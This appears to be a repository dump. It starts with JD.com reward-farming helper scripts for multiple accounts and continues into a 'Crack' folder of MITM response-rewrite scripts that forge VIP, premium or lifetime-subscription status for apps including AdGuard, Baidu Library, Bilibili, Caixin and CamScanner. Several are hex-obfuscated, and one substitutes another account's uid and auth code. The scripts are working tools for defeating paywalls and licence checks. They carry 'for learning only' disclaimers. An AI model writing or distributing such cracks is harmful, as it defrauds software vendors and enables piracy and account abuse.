20 | if (process.env.JXNC_SHARECODES) {
21 | if (process.env.JXNC_SHARECODES.indexOf('&') > -1) {
22 | console.log(`您的京喜农场助力码选择的是用&隔开\n`)
23 | JxncShareCodes = process.env.JXNC_SHARECODES.split('&');
24 | } else if (process.env.JXNC_SHARECODES.indexOf('\n') > -1) {
25 | console.log(`您的京喜农场助力码选择的是用换行隔开\n`)
26 | JxncShareCodes = process.env.JXNC_SHARECODES.split('\n');
27 | } else {
28 | JxncShareCodes = process.env.JXNC_SHARECODES.split();
29 | }
30 | } else {
31 | console.log(`由于您环境变量里面(JXNC_SHARECODES)未提供助力码,故此处运行将会给脚本内置的码进行助力,请知晓!`)
32 | }
33 | JxncShareCodes = JxncShareCodes.filter(item => !!item);
34 | for (let i = 0; i < JxncShareCodes.length; i++) {
35 | const index = (i + 1 === 1) ? '' : (i + 1);
36 | exports['JxncShareCode' + index] = JxncShareCodes[i];
37 | }
38 |
--------------------------------------------------------------------------------
/Backup/jd_scripts/jdPetShareCodes.js:
--------------------------------------------------------------------------------
1 | /*
2 | 东东萌宠互助码
3 | 此文件为Node.js专用。其他用户请忽略
4 | 支持京东N个账号
5 | */
6 | //云服务器腾讯云函数等NOde.js用户在此处填写东东萌宠的好友码。
7 | // 同一个京东账号的好友互助码用@符号隔开,不同京东账号之间用&符号或者换行隔开,下面给一个示例
8 | // 如: 京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2
9 | let PetShareCodes = [
10 | 'MTAxODc2NTEzNTAwMDAwMDAwMjg3MDg2MA==@MTAxODc2NTEzMzAwMDAwMDAyNzUwMDA4MQ==@MTAxODc2NTEzMjAwMDAwMDAzMDI3MTMyOQ==@MTAxODc2NTEzNDAwMDAwMDAzMDI2MDI4MQ==',//账号一的好友shareCode,不同好友中间用@符号隔开
11 | 'MTAxODc2NTEzMjAwMDAwMDAzMDI3MTMyOQ==@MTAxODcxOTI2NTAwMDAwMDAyNjA4ODQyMQ==@MTAxODc2NTEzOTAwMDAwMDAyNzE2MDY2NQ==',//账号二的好友shareCode,不同好友中间用@符号隔开
12 | ]
13 |
14 | // 从日志获取互助码
15 | // const logShareCodes = require('./utils/jdShareCodes');
16 | // if (logShareCodes.PETSHARECODES.length > 0 && !process.env.PETSHARECODES) {
17 | // process.env.PETSHARECODES = logShareCodes.PETSHARECODES.join('&');
18 | // }
19 |
20 | // 判断github action里面是否有东东萌宠互助码
21 | if (process.env.PETSHARECODES) {
22 | if (process.env.PETSHARECODES.indexOf('&') > -1) {
23 | console.log(`您的东东萌宠互助码选择的是用&隔开\n`)
24 | PetShareCodes = process.env.PETSHARECODES.split('&');
25 | } else if (process.env.PETSHARECODES.indexOf('\n') > -1) {
26 | console.log(`您的东东萌宠互助码选择的是用换行隔开\n`)
27 | PetShareCodes = process.env.PETSHARECODES.split('\n');
28 | } else {
29 | PetShareCodes = process.env.PETSHARECODES.split();
30 | }
31 | } else {
32 | console.log(`由于您环境变量(PETSHARECODES)里面未提供助力码,故此处运行将会给脚本内置的码进行助力,请知晓!`)
33 | }
34 | for (let i = 0; i < PetShareCodes.length; i++) {
35 | const index = (i + 1 === 1) ? '' : (i + 1);
36 | exports['PetShareCode' + index] = PetShareCodes[i];
37 | }
--------------------------------------------------------------------------------
/Backup/jd_scripts/jdPlantBeanShareCodes.js:
--------------------------------------------------------------------------------
1 | /*
2 | 京东种豆得豆互助码
3 | 此文件为Node.js专用。其他用户请忽略
4 | 支持京东N个账号
5 | */
6 | //云服务器腾讯云函数等NOde.js用户在此处填写东东萌宠的好友码。
7 | // 同一个京东账号的好友互助码用@符号隔开,不同京东账号之间用&符号或者换行隔开,下面给一个示例
8 | // 如: 京东账号1的shareCode1@京东账号1的shareCode2&京东账号2的shareCode1@京东账号2的shareCode2
9 | let PlantBeanShareCodes = [
10 | '66j4yt3ebl5ierjljoszp7e4izzbzaqhi5k2unz2afwlyqsgnasq@olmijoxgmjutyrsovl2xalt2tbtfmg6sqldcb3q@e7lhibzb3zek27amgsvywffxx7hxgtzstrk2lba@olmijoxgmjutyx55upqaqxrblt7f3h26dgj2riy',//账号一的好友shareCode,不同好友中间用@符号隔开
11 | 'mlrdw3aw26j3wgzjipsxgonaoyr2evrdsifsziy@mlrdw3aw26j3wgzjipsxgonaoyr2evrdsifsziy',//账号二的好友shareCode,不同好友中间用@符号隔开
12 | ]
13 |
14 | // 从日志获取互助码
15 | // const logShareCodes = require('./utils/jdShareCodes');
16 | // if (logShareCodes.PLANT_BEAN_SHARECODES.length > 0 && !process.env.PLANT_BEAN_SHARECODES) {
17 | // process.env.PLANT_BEAN_SHARECODES = logShareCodes.PLANT_BEAN_SHARECODES.join('&');
18 | // }
19 |
20 | // 判断github action里面是否有种豆得豆互助码
21 | if (process.env.PLANT_BEAN_SHARECODES) {
22 | if (process.env.PLANT_BEAN_SHARECODES.indexOf('&') > -1) {
23 | console.log(`您的种豆互助码选择的是用&隔开\n`)
24 | PlantBeanShareCodes = process.env.PLANT_BEAN_SHARECODES.split('&');
25 | } else if (process.env.PLANT_BEAN_SHARECODES.indexOf('\n') > -1) {
26 | console.log(`您的种豆互助码选择的是用换行隔开\n`)
27 | PlantBeanShareCodes = process.env.PLANT_BEAN_SHARECODES.split('\n');
28 | } else {
29 | PlantBeanShareCodes = process.env.PLANT_BEAN_SHARECODES.split();
30 | }
31 | } else {
32 | console.log(`由于您环境变量(PLANT_BEAN_SHARECODES)里面未提供助力码,故此处运行将会给脚本内置的码进行助力,请知晓!`)
33 | }
34 | for (let i = 0; i < PlantBeanShareCodes.length; i++) {
35 | const index = (i + 1 === 1) ? '' : (i + 1);
36 | exports['PlantBeanShareCodes' + index] = PlantBeanShareCodes[i];
37 | }
38 |
--------------------------------------------------------------------------------
/Backup/jd_scripts/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "LXK9301",
3 | "version": "1.0.0",
4 | "description": "{**When you're done, you can delete the content in this README and update the file with details for others getting started with your repository**}",
5 | "main": "AlipayManor.js",
6 | "scripts": {
7 | "test": "echo \"Error: no test specified\" && exit 1"
8 | },
9 | "repository": {
10 | "type": "git",
11 | "url": "https://github.com/LXK9301/jd_scripts.git"
12 | },
13 | "keywords": [
14 | "京东薅羊毛工具, 京东水果、宠物、种豆等等"
15 | ],
16 | "author": "LXK9301",
17 | "license": "ISC",
18 | "dependencies": {
19 | "crypto-js": "^4.0.0",
20 | "download": "^8.0.0",
21 | "got": "^11.5.1",
22 | "http-server": "^0.12.3",
23 | "qrcode-terminal": "^0.12.0",
24 | "request": "^2.88.2",
25 | "tough-cookie": "^4.0.0",
26 | "tunnel": "0.0.6",
27 | "ws": "^7.4.3"
28 | }
29 | }
30 |
--------------------------------------------------------------------------------
/Backup/jd_scripts/utils/jdShareCodes.js:
--------------------------------------------------------------------------------
1 | // 从日志中获取互助码
2 |
3 | // process.env.SHARE_CODE_FILE = "/scripts/logs/sharecode.log";
4 | // process.env.JD_COOKIE = "cookie1&cookie2";
5 |
6 | exports.JDZZ_SHARECODES = [];
7 | exports.DDFACTORY_SHARECODES = [];
8 | exports.DREAM_FACTORY_SHARE_CODES = [];
9 | exports.PLANT_BEAN_SHARECODES = [];
10 | exports.FRUITSHARECODES = [];
11 | exports.PETSHARECODES = [];
12 | exports.JDJOY_SHARECODES = [];
13 |
14 | let fileContent = '';
15 | if (process.env.SHARE_CODE_FILE) {
16 | try {
17 | const fs = require('fs');
18 | if (fs.existsSync(process.env.SHARE_CODE_FILE)) fileContent = fs.readFileSync(process.env.SHARE_CODE_FILE, 'utf8');
19 | } catch (err) {
20 | console.error(err)
21 | }
22 | }
23 | let lines = fileContent.split('\n');
24 |
25 | let shareCodesMap = {
26 | "JDZZ_SHARECODES": [],
27 | "DDFACTORY_SHARECODES": [],
28 | "DREAM_FACTORY_SHARE_CODES": [],
29 | "PLANT_BEAN_SHARECODES": [],
30 | "FRUITSHARECODES": [],
31 | "PETSHARECODES": [],
32 | "JDJOY_SHARECODES": [],
33 | };
34 | for (let i = 0; i < lines.length; i++) {
35 | if (lines[i].includes('京东赚赚')) {
36 | shareCodesMap.JDZZ_SHARECODES.push(lines[i].split('】')[1].trim());
37 | } else if (lines[i].includes('东东工厂')) {
38 | shareCodesMap.DDFACTORY_SHARECODES.push(lines[i].split('】')[1].trim());
39 | } else if (lines[i].includes('京喜工厂')) {
40 | shareCodesMap.DREAM_FACTORY_SHARE_CODES.push(lines[i].split('】')[1].trim());
41 | } else if (lines[i].includes('京东种豆得豆')) {
42 | shareCodesMap.PLANT_BEAN_SHARECODES.push(lines[i].split('】')[1].trim());
43 | } else if (lines[i].includes('东东农场')) {
44 | shareCodesMap.FRUITSHARECODES.push(lines[i].split('】')[1].trim());
45 | } else if (lines[i].includes('东东萌宠')) {
46 | shareCodesMap.PETSHARECODES.push(lines[i].split('】')[1].trim());
47 | } else if (lines[i].includes('crazyJoy')) {
48 | shareCodesMap.JDJOY_SHARECODES.push(lines[i].split('】')[1].trim());
49 | }
50 | }
51 | for (let key in shareCodesMap) {
52 | shareCodesMap[key] = shareCodesMap[key].reduce((prev, cur) => prev.includes(cur) ? prev : [...prev, cur], []); // 去重
53 | }
54 | let cookieCount = 0;
55 | if (process.env.JD_COOKIE) {
56 | if (process.env.JD_COOKIE.indexOf('&') > -1) {
57 | cookieCount = process.env.JD_COOKIE.split('&').length;
58 | } else {
59 | cookieCount = process.env.JD_COOKIE.split('\n').length;
60 | }
61 | }
62 |
63 | for (let key in shareCodesMap) {
64 | exports[key] = [];
65 | if (shareCodesMap[key].length === 0) {
66 | continue;
67 | }
68 | for (let i = 0; i < cookieCount; i++) {
69 | exports[key][i] = shareCodesMap[key].sort(() => Math.random() - 0.5).join('@');
70 | }
71 | }
72 |
73 |
--------------------------------------------------------------------------------
/Crack/100.js:
--------------------------------------------------------------------------------
1 | var body = $response.body;
2 | body = "lvCQG8cCxqficLk+LttK+L2YRSLM39a3jj+Mfoba4wNaV8x54RYUAWrJvcwwFZemFEWG5xK2FlI8k2hlHsSW7uaAeW45GPxSPt1uvVwPI5zLiMJuHvGycPsqS+ozuIELUsmxd901h+fpVaDUSy+5KRrW+M+mVJRARweO6FjfHosZ/pP8kkty3hz0uDRWb9enH9pG+36Issw9aJCxSkok0Q==";
3 | $done({ body });
4 |
--------------------------------------------------------------------------------
/Crack/aa.js:
--------------------------------------------------------------------------------
1 | /*
2 | Unlocks by Cuttlefish 公众号:墨鱼手记
3 | */
4 | var body1= $response.body.replace(/\\\//g, '/').replace(/
/ig,"").replace(/<\/p>/ig,"").replace(//ig,"").replace(/
/ig,"").replace(/
/ig,"").replace(/\\">/ig,'"').replace(/,"protected":false/ig,'').replace(/\\u/g, '%u').replace(/\\n/ig,"");
5 |
6 | var body = unescape(body1);
7 |
8 | var reg = 'content":\{"[^}]*}';
9 |
10 | var target=body.match(reg);
11 |
12 | console.log(target);
13 |
14 |
15 | //target.replace(/quot/g,'\');
16 |
17 | //var tt = target.replace(/&/g,'&').replace(/quot/g,'\').replace(//g,'>');
18 |
19 | $notify("图文内容","", target);
20 |
21 | $done({ body });
22 | //var reg = /[\u4e00-\u9fa5]/g;
--------------------------------------------------------------------------------
/Crack/adguard.js:
--------------------------------------------------------------------------------
1 | let obj = JSON.parse($response.body);
2 | obj={"products":[{"product_id":"com.adguard.lifetimePurchase","premium_status":"ACTIVE"}]};
3 | $done({body: JSON.stringify(obj)});
4 |
--------------------------------------------------------------------------------
/Crack/altstore.js:
--------------------------------------------------------------------------------
1 | let obj = JSON.parse($response.body);
2 | obj ={
3 | "data": {
4 | "attributes": {
5 | "first_name": "Lang",
6 | "full_name": "Lang Khach"
7 | },
8 | "id": "30618536",
9 | "relationships": {
10 | "memberships": {
11 | "data": [{
12 | "id": "e3a5c718-d930-4b92-a8b9-677f4699c9a4",
13 | "type": "tier"
14 | }]
15 | }
16 | },
17 | "type": "member"
18 | },
19 | "included": [{
20 | "attributes": {
21 | "full_name": "Lang Khach",
22 | "patron_status": "active_patron"
23 | },
24 | "id": "e3a5c718-d930-4b92-a8b9-677f4699c9a4",
25 | "type": "member"
26 | }],
27 | "links": {
28 | "self":"https://www.patreon.com/api/oauth2/v2/user/30618536"
29 | }
30 | }
31 | $done({body: JSON.stringify(obj)});
--------------------------------------------------------------------------------
/Crack/apowersoft.js:
--------------------------------------------------------------------------------
1 | /***********************************
2 |
3 | > 应用名称:傲软抠图
4 | > 软件版本:1.6.0
5 | > 下载地址:https://apps.apple.com/cn/app/id1490054676
6 | > 脚本作者:Cuttlefish
7 | > 微信账号:墨鱼手记
8 | > 更新时间:2022-09-13
9 | > 通知频道:https://t.me/ddgksf2021
10 | > 问题反馈:https://t.me/ddgksf2013_bot
11 | > 特别说明:本脚本仅供学习交流使用,禁止转载售卖
12 |
13 | [rewrite_local]
14 |
15 | # ~ 傲软抠图解锁会员权限(2022-09-13)@ddgksf2013
16 | https?:\/\/.*\.aoscdn\.com\/base\/vip\/client\/authorizations$ url script-response-body https://gitlab.com/ddgksf2013/Cuttlefish/-/raw/master/Crack/apowersoft.js
17 |
18 | [mitm]
19 |
20 | hostname=*.aoscdn.com
21 |
22 | ***********************************/
23 |
24 |
25 |
26 | var cuttlefish ={"warning":"本腳本僅供學習交流使用,禁止轉載售賣","tgchannel":"https://t.me/ddgksf2021","feedback":"https://t.me/ddgksf2013_bot"};
27 | var ddgksf2013 = {
28 | "status" : 200,
29 | "message" : "success",
30 | "data" : {
31 | "expired_at" : 4045798296,
32 | "is_activated" : 1,
33 | "is_lifetime" : 1,
34 | "expire_time" : "2099-01-01 00:00:00",
35 | "device_id" : 600150864,
36 | "period_type" : "active",
37 | "remain_days" : 99999,
38 | "product_id" : 369,
39 | "has_present" : 0,
40 | "allowed_device_count" : 1,
41 | "has_buy_extend" : 0,
42 | "will_expire" : 0,
43 | "license_type" : "premium",
44 | "begin_activated_time" : 1645798296,
45 | "durations" : 0,
46 | "vip_special" : 1
47 | }
48 | };
49 | $done({body: JSON.stringify(ddgksf2013)});
50 |
--------------------------------------------------------------------------------
/Crack/appraven.js:
--------------------------------------------------------------------------------
1 | /***********************************
2 | > 應用名稱:appraven
3 | > 軟件版本:1.6.3
4 | > 下載地址:https://apps.apple.com/cn/app/id1490607195
5 | > 腳本作者:Cuttlefish
6 | > 微信賬號:墨魚手記
7 | > 更新時間:2022-03-22
8 | > 腳本功能:⛔自我安慰,只為界面好看,無實際VIP功能⛔
9 | > 通知頻道:https://t.me/ddgksf2021
10 | > 問題反饋:https://t.me/ddgksf2013_bot
11 | > 特别說明:本腳本僅供學習交流使用,禁止轉載售賣
12 |
13 | [rewrite_local]
14 |
15 | # ~ appraven(2022-03-22)@ddgksf2013
16 | ^https?:\/\/appraven\.net\/AppRaven\/(app|social|buy) url script-response-body https://gitlab.com/ddgksf2013/Cuttlefish/-/raw/master/Crack/appraven.js
17 |
18 | [mitm]
19 | hostname=appraven.net
20 |
21 | ***********************************/
22 |
23 | var url = $request.url;
24 | var obj = JSON.parse($response.body);
25 | const tmp1 = '/AppRaven/app';
26 | const tmp2 = '/AppRaven/social';
27 | const tmp3 = '/AppRaven/buy';
28 |
29 | if (url.indexOf(tmp1) != -1) {
30 | var body = $response.body.replace(/premium": false/g, 'premium": true');
31 | }
32 | if (url.indexOf(tmp2) != -1) {
33 | var body = $response.body.replace(/premium": false/g, 'premium": true');
34 | }
35 | if (url.indexOf(tmp3) != -1) {
36 | obj={"success":true,"message":"1896165181","isReceiptValid":true,"isSubscriptionActive":true};
37 | body = JSON.stringify(obj);
38 | }
39 | $done({body});
40 |
--------------------------------------------------------------------------------
/Crack/apt.js:
--------------------------------------------------------------------------------
1 | /*
2 | Unlocks by Cuttlefish 公众号:墨鱼手记
3 | */
4 | var body = $response.body.replace(/Ad":"\d"/g, 'Ad":"0"').replace(/ad":true/g, 'ad":false').replace(/AdId":"[^"]*"/g, 'AdId":""').replace(/adid":"[^"]*"/g, 'adid":""');
5 | $done({ body });
6 |
--------------------------------------------------------------------------------
/Crack/b.js:
--------------------------------------------------------------------------------
1 | *.bili*.*, 124.239.240.*, 101.89.57.66, 218.94.210.66, 240e:b1:9801:206:11:0:0:*
2 |
3 |
4 |
--------------------------------------------------------------------------------
/Crack/baidulibrary.js:
--------------------------------------------------------------------------------
1 | /***********************************
2 |
3 | > 应用名称:百度文库
4 | > 脚本功能:解锁VIP文档阅读权限
5 | > 脚本作者:Cuttlefish
6 | > 微信账号:墨鱼手记
7 | > 更新时间:2022-10-19
8 | > 通知频道:https://t.me/ddgksf2021
9 | > 投稿助手:https://t.me/ddgksf2013_bot
10 | > 问题反馈:📮 ddgksf2013@163.com 📮
11 | > 特别说明:⛔⛔⛔
12 | 本脚本仅供学习交流使用,禁止转载、售卖
13 | ⛔⛔⛔
14 |
15 | [rewrite_local]
16 |
17 | # ~ 百度文库☆解锁VIP文档阅读权限(2022-10-17)@ddgksf2013
18 | ^https:\/\/appwk\.baidu\.com\/naapi\/user\/getinfo url script-response-body https://gitlab.com/ddgksf2013/Cuttlefish/-/raw/master/Crack/baidulibrary.js
19 |
20 | [mitm]
21 |
22 | hostname=appwk.baidu.com
23 |
24 | ***********************************/
25 |
26 | let ddgksf2013 = JSON.parse($response.body);
27 | ddgksf2013.data.vip.base_vip_info={"uid":12345678,"type":2,"start_time":1622222200,"end_time":4622222200,"is_vip":1,"remain_day":999,"pro_total":5,"normal_total":5};
28 | $done({ body: JSON.stringify(ddgksf2013) });
29 |
--------------------------------------------------------------------------------
/Crack/bdcloud.js:
--------------------------------------------------------------------------------
1 | obj={"\x70\x72\x6f\x64\x75\x63\x74\x5f\x69\x6e\x66\x6f\x73":[{"\x70\x72\x6f\x64\x75\x63\x74\x5f\x69\x64":"\x35\x33\x31\x30\x38\x39\x37\x37\x39\x32\x31\x32\x38\x36\x33\x33\x33\x39\x30","\x73\x74\x61\x72\x74\x5f\x74\x69\x6d\x65":1417260485,"\x65\x6e\x64\x5f\x74\x69\x6d\x65":2147483648,"\x62\x75\x79\x5f\x74\x69\x6d\x65":"\x31\x34\x31\x37\x32\x36\x30\x34\x38\x35","\x63\x6c\x75\x73\x74\x65\x72":"\x6f\x66\x66\x6c\x69\x6e\x65\x64\x6c","\x64\x65\x74\x61\x69\x6c\x5f\x63\x6c\x75\x73\x74\x65\x72":"\x6f\x66\x66\x6c\x69\x6e\x65\x64\x6c","\x70\x72\x6f\x64\x75\x63\x74\x5f\x6e\x61\x6d\x65":"\x67\x7a\x5f\x74\x65\x6c\x65\x63\x6f\x6d\x5f\x65\x78\x70"},{"\x70\x72\x6f\x64\x75\x63\x74\x5f\x6e\x61\x6d\x65":"\x73\x76\x69\x70\x32\x5f\x6e\x64","\x70\x72\x6f\x64\x75\x63\x74\x5f\x64\x65\x73\x63\x72\x69\x70\x74\x69\x6f\x6e":"\u8d85\u7ea7\u4f1a\u5458","\x66\x75\x6e\x63\x74\x69\x6f\x6e\x5f\x6e\x75\x6d":0,"\x73\x74\x61\x72\x74\x5f\x74\x69\x6d\x65":1553702399,"\x62\x75\x79\x5f\x64\x65\x73\x63\x72\x69\x70\x74\x69\x6f\x6e":"","\x62\x75\x79\x5f\x74\x69\x6d\x65":0,"\x70\x72\x6f\x64\x75\x63\x74\x5f\x69\x64":"\x31","\x61\x75\x74\x6f\x5f\x75\x70\x67\x72\x61\x64\x65\x5f\x74\x6f\x5f\x73\x76\x69\x70":0,"\x65\x6e\x64\x5f\x74\x69\x6d\x65":1672502399,"\x63\x6c\x75\x73\x74\x65\x72":"\x76\x69\x70","\x64\x65\x74\x61\x69\x6c\x5f\x63\x6c\x75\x73\x74\x65\x72":"\x73\x76\x69\x70","\x73\x74\x61\x74\x75\x73":0}],"\x63\x75\x72\x72\x65\x6e\x74\x74\x69\x6d\x65":1573473597,"\x72\x65\x6d\x69\x6e\x64\x65\x72":{"\x72\x65\x6d\x69\x6e\x64\x65\x72\x57\x69\x74\x68\x43\x6f\x6e\x74\x65\x6e\x74":[],"\x61\x64\x76\x65\x72\x74\x69\x73\x65\x43\x6f\x6e\x74\x65\x6e\x74":[]},"\x72\x65\x71\x75\x65\x73\x74\x5f\x69\x64":7501873289383875000,"\x67\x75\x69\x64\x65\x5f\x64\x61\x74\x61":{"\x74\x69\x74\x6c\x65":"\u8d85\u7ea7\u4f1a\u5458 \x53\x56\x49\x50","\x63\x6f\x6e\x74\x65\x6e\x74":"\u5df2\u62e5\u6709\u6781\u901f\u4e0b\u8f7d\x2b\u89c6\u9891\u500d\u901f\u7279\u6743","\x62\x75\x74\x74\x6f\x6e":{"\x74\x65\x78\x74":"\u4f1a\u5458\u4e2d\u5fc3","\x61\x63\x74\x69\x6f\x6e\x5f\x75\x72\x6c":"\x68\x74\x74\x70\x73\x3a\x2f\x2f\x70\x61\x6e\x2e\x62\x61\x69\x64\x75\x2e\x63\x6f\x6d\x2f\x77\x61\x70\x2f\x76\x69\x70\x2f\x75\x73\x65\x72\x3f\x66\x72\x6f\x6d\x3d\x6d\x79\x76\x69\x70\x32\x23\x73\x76\x69\x70"}}};$done({body:JSON['\x73\x74\x72\x69\x6e\x67\x69\x66\x79'](obj)});
2 |
--------------------------------------------------------------------------------
/Crack/blvip.js:
--------------------------------------------------------------------------------
1 | /***********************************
2 |
3 | > 應用名稱:B站大会员
4 | > 軟件版本:6.63.0
5 | > 腳本作者:Cuttlefish
6 | > 微信賬號:墨魚手記
7 | > 更新時間:2022-03-28
8 | > 通知頻道:https://t.me/ddgksf2021
9 | > 問題反饋:https://t.me/ddgksf2013_bot
10 | > 特别說明:本腳本僅供學習交流使用,禁止轉載售賣
11 |
12 | [rewrite_local]
13 |
14 | # ~ B站大会员(2022-03-17)@ddgksf2013
15 | ^http[s]?:\/\/((app|api)\.(\w{2,15})?\.(com|cn|net|org)).*(playurl|player|reply)?\.(v3|v2|v1)\.(View|Reply|Play(URL|View|Conf)).*$ url script-response-body https://gitlab.com/ddgksf2013/Cuttlefish/-/raw/master/Crack/blvip.js
16 |
17 | [mitm]
18 |
19 | hostname=app.bilibili.com, grpc.biliapi.net,*.biliapi.net,app.bilibili.com,api.bilibili.com,api.live.bilibili.com,api.vc.bilibili.com,dataflow.biliapi.com,124.239.240.*,101.89.57.66, 218.94.210.66,240e:b1:9801:206:11:0:0:*
20 |
21 | ***********************************/
--------------------------------------------------------------------------------
/Crack/bmhb.js:
--------------------------------------------------------------------------------
1 | /*
2 | Unlocks by photonmang 公众号:墨鱼手记
3 | */
4 |
5 | let body= $response.body;
6 | var obj = JSON.parse(body);
7 | obj.data.business.is_lifelong_vip = true;
8 | obj.data.business.wool = 20210130;
9 | $done({body: JSON.stringify(obj)});
10 |
--------------------------------------------------------------------------------
/Crack/bstarunlock.js:
--------------------------------------------------------------------------------
1 | let body = $request.body;
2 |
3 | body = body.replace(/&sim_code=\d+/,"&sim_code=52507");
4 | body = body.replace(/&locale=en_US/,"&&locale=en_SG");
5 | body = body.replace(/&s_locale=en_US/,"&s_locale=SG");
6 |
7 | console.log(body)
8 |
9 | $done({body});
10 |
--------------------------------------------------------------------------------
/Crack/budingsuoping.js:
--------------------------------------------------------------------------------
1 | /***********************************
2 |
3 | > 應用名稱:布丁鎖屏
4 | > 軟件版本:2.1.2
5 | > 下載地址:https://apps.apple.com/cn/app/id1571268183
6 | > 腳本作者:Cuttlefish
7 | > 微信賬號:墨魚手記
8 | > 更新時間:2022-02-21
9 | > 通知頻道:https://t.me/ddgksf2021
10 | > 問題反饋:https://t.me/ddgksf2013_bot
11 | > 特別說明:本腳本僅供學習交流使用,禁止轉載售賣
12 |
13 | [rewrite_local]
14 |
15 | # ~ 布丁鎖屏解鎖會員權限(2022-02-21)@ddgksf2013
16 | https?:\/\/screen-lock\.51wnl-cq\.com\/userApi\/saveUser url script-echo-response https://gitlab.com/ddgksf2013/Cuttlefish/-/raw/master/Crack/budingsuoping.js
17 |
18 | [mitm]
19 |
20 | hostname=screen-lock.51wnl-cq.com
21 |
22 | ***********************************/
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 | var cuttlefish ={"warning":"本腳本僅供學習交流使用,禁止轉載售賣","tgchannel":"https://t.me/ddgksf2021","feedback":"https://t.me/ddgksf2013_bot"}
43 | var ddgksf2013 = {"returncode":"SUCCESS","errormsg":"","data":{"id":"ddgksf2013","nickName":"公众号墨鱼手记","sign":"公众号墨鱼手记","vipStatus":1,"endTime":2099,"exchangeCode":null,"expireDate":null}};
44 | $done({body: JSON.stringify(ddgksf2013)});
--------------------------------------------------------------------------------
/Crack/byhb.js:
--------------------------------------------------------------------------------
1 | /*
2 | Unlocks by Cuttlefish 公众号:墨鱼手记
3 | */
4 | var body = $response.body.replace(/\u0076\u0069\u0070\u0022\u003A\u0066\u0061\u006C\u0073\u0065/g, '\u0076\u0069\u0070\u0022\u003A\u0031').replace(/\u0063\u0061\u0074\u0065\u0022\u003A\u0030/g, '\u0063\u0061\u0074\u0065\u0022\u003A\u0031').replace(/\u0065\u0078\u0070\u0069\u0072\u0079\u0022\u003A\u0030/g, '\u0065\u0078\u0070\u0069\u0072\u0079\u0022\u003A\u0031')
5 | $done({ body });
6 |
--------------------------------------------------------------------------------
/Crack/bz.js:
--------------------------------------------------------------------------------
1 | var body = $response.body.replace(/viptype":"1"/g, 'viptype":"4"')
2 | $done({ body });
--------------------------------------------------------------------------------
/Crack/caixin.js:
--------------------------------------------------------------------------------
1 | /***********************************
2 |
3 | > 应用名称:财新
4 | > 软件版本:7.9.7
5 | > 下载地址:https://apps.apple.com/us/app/id356023612
6 | > 脚本作者:Cuttlefish
7 | > 微信账号:墨鱼手记
8 | > 更新时间:2022-10-22
9 | > 通知频道:https://t.me/ddgksf2021
10 | > 投稿助手:https://t.me/ddgksf2013_bot
11 | > 问题反馈:📮 ddgksf2013@163.com 📮
12 | > 使用说明:解锁文章,无需登录,请低调使用
13 | > 特别说明:⛔⛔⛔
14 | 本脚本仅供学习交流使用,禁止转载、售卖
15 | ⛔⛔⛔
16 |
17 |
18 |
19 | [rewrite_local]
20 |
21 | # ~ 财新(2022-10-17)@ddgksf2013
22 | ^https?:\/\/gateway\.caixin\.com\/api\/app\-api\/auth\/(validate|validateAudioAuth) url script-request-header https://gitlab.com/ddgksf2013/Cuttlefish/-/raw/master/Crack/caixin.js
23 |
24 | [mitm]
25 |
26 | hostname=gateway.caixin.com
27 |
28 | ***********************************/
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 | var header=$request['headers'];
47 | var url=$request.url.replace(/uid=(\d+|)/g,"uid=12622061")
48 | .replace(/code=(\w+|)/g,"code=7258E07D155FE91FB868E545947DDCAB")
49 | .replace(/device=(\w+|)/g,"device=af491839f424cf75f07d7f4d6b7a30bde3296ea2")
50 | .replace(/deviceType=(\d+|)/g,"deviceType=1");
51 | if($request['url']['indexOf']('validateAudioAuth')!=-0x1){
52 | header['appinfo']='ddgksf2013';
53 | }
54 | $done({'url':url,'headers':header});
--------------------------------------------------------------------------------
/Crack/camscanner.js:
--------------------------------------------------------------------------------
1 | let body = JSON.parse($response.body)
2 | body.data.psnl_vip_property = {"renew_method": "appstore",
3 | "initial_tm": "1614867690",
4 | "svip": 1,
5 | "auto_renewal": true,
6 | "ms_first_pay": 0,
7 | "pending": 0,
8 | "group2_paid": 0,
9 | "inherited_flag": 0,
10 | "nxt_renew_tm": "9915126887",
11 | "level_info": {
12 | "level": 1,
13 | "days": 1,
14 | "end_days": 30
15 | },
16 | "group1_paid": 1,
17 | "ys_first_pay": 0,
18 | "renew_type": "year",
19 | "expiry": 8487890487,
20 | "grade": 2,
21 | "last_payment_method": "appstore",
22 | "product_id": "com.intsig.camscanner.premiums.oneyear.autorenewable.svip.low"}
23 | $done({body:JSON.stringify(body)})
24 |
--------------------------------------------------------------------------------
/Crack/cb.js:
--------------------------------------------------------------------------------
1 | body=$response['\x62\x6f\x64\x79'];let obj=JSON['\x70\x61\x72\x73\x65'](body);obj["\x64\x61\x74\x61"]={"\x6d\x65\x6d\x62\x65\x72\x73\x68\x69\x70\x73":[{"\x70\x72\x6f\x64\x75\x63\x74\x5f\x69\x64":"\x63\x61\x73\x74\x62\x6f\x78\x2e\x70\x72\x65\x6d\x69\x75\x6d\x2e\x70\x72\x6f\x2e\x70\x31\x79","\x65\x78\x70\x69\x72\x79\x5f\x64\x61\x74\x65\x5f\x6d\x73":999991598202753000,"\x73\x6f\x75\x72\x63\x65":"\x70\x61\x69\x64","\x6e\x61\x6d\x65":"\x63\x61\x73\x74\x62\x6f\x78\x2e\x70\x72\x65\x6d\x69\x75\x6d\x2e\x70\x72\x6f"}]};body=JSON['\x73\x74\x72\x69\x6e\x67\x69\x66\x79'](obj);$done({body});
2 |
--------------------------------------------------------------------------------
/Crack/cdzs.js:
--------------------------------------------------------------------------------
1 | /*
2 | Unlocks by Cuttlefish 公众号:墨鱼手记
3 | */
